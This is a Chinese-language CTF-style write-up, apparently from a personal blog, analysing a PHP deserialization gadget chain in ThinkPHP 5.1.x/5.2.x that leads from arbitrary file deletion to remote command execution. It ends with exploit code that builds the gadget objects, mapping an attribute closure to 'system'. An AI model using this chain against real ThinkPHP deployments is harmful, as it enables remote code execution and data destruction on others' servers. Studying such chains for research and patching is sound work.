tp5.1.x 5.2.x反序列化链

前言

在n1ctf2019比赛wp上看到了一条全新的反序列化链,做个记录

环境

tp5.1.38
环境搭完后记得运行compose install

分析

直接先提供了一个反序列化路口

1
2
3
4
5
public function test($test = '')
{
unserialize($test);
return 1;
}

首先是入口
/var/www/thinkphp/library/think/process/pipes/Windows.php
下的__destruct

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}
1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

可以看到这已经触发了任意文件删除
那如何导致rce呢
file_exists可以促发__toString找找有__toString的方法
/var/www/thinkphp/library/think/model/concern/Conversion.php

1
2
3
4
public function __toString()
{
return $this->toJson();
}
1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function toArray()
{
...
// 合并关联数据
$data = array_merge($this->data, $this->relation);
...
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($visible[$key])) {
$val->visible($visible[$key]);
} elseif (isset($hidden[$key])) {
$val->hidden($hidden[$key]);
}
// 关联模型对象
$item[$key] = $val->toArray();
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
...
}

根据toArray
/var/www/thinkphp/library/think/model/concern/Attribute.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data); //<----漏洞点
}
...
}

这里要说一下,本环境为5.1,与参考中的环境有稍微的不同
在参考文件中会有一个getValue的方法,这里是直接给他拆开了
这里需要3个可控参数$closure,$value,$this->data,依次查看

$closure

$closure = $this->withAttr[$fieldName];
private $withAttr = []; 可控
$fieldName = Loader::parseName($name);
/var/www/thinkphp/library/think/Lo.php

1
2
3
4
5
6
7
8
9
10
11
public static function parseName($name, $type = 0, $ucfirst = true)
{
if ($type) {
$name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {
return strtoupper($match[1]);
}, $name);
return $ucfirst ? ucfirst($name) : lcfirst($name);
}

return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
}

$name$item[$key] = $this->getAttr($key);中的$key
$data = array_merge($this->data, $this->relation);控制
所以可控
这里传一个键名就好了

$closure可控

$value

$value = $this->getData($name);

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

根据之前内容可以确定$name可控
private $data = [];确定$this->data[$name];可控
$value可控

$this->data

可控

触发

exp

修改了下smile师傅的exp,把大写转成了小写
原因可以看证明$closure可控那一块,在那里大写会被转成小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion {
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");

public function get($system)
{
$this->data = array("smi1e" => "$system");
}
}
}

namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}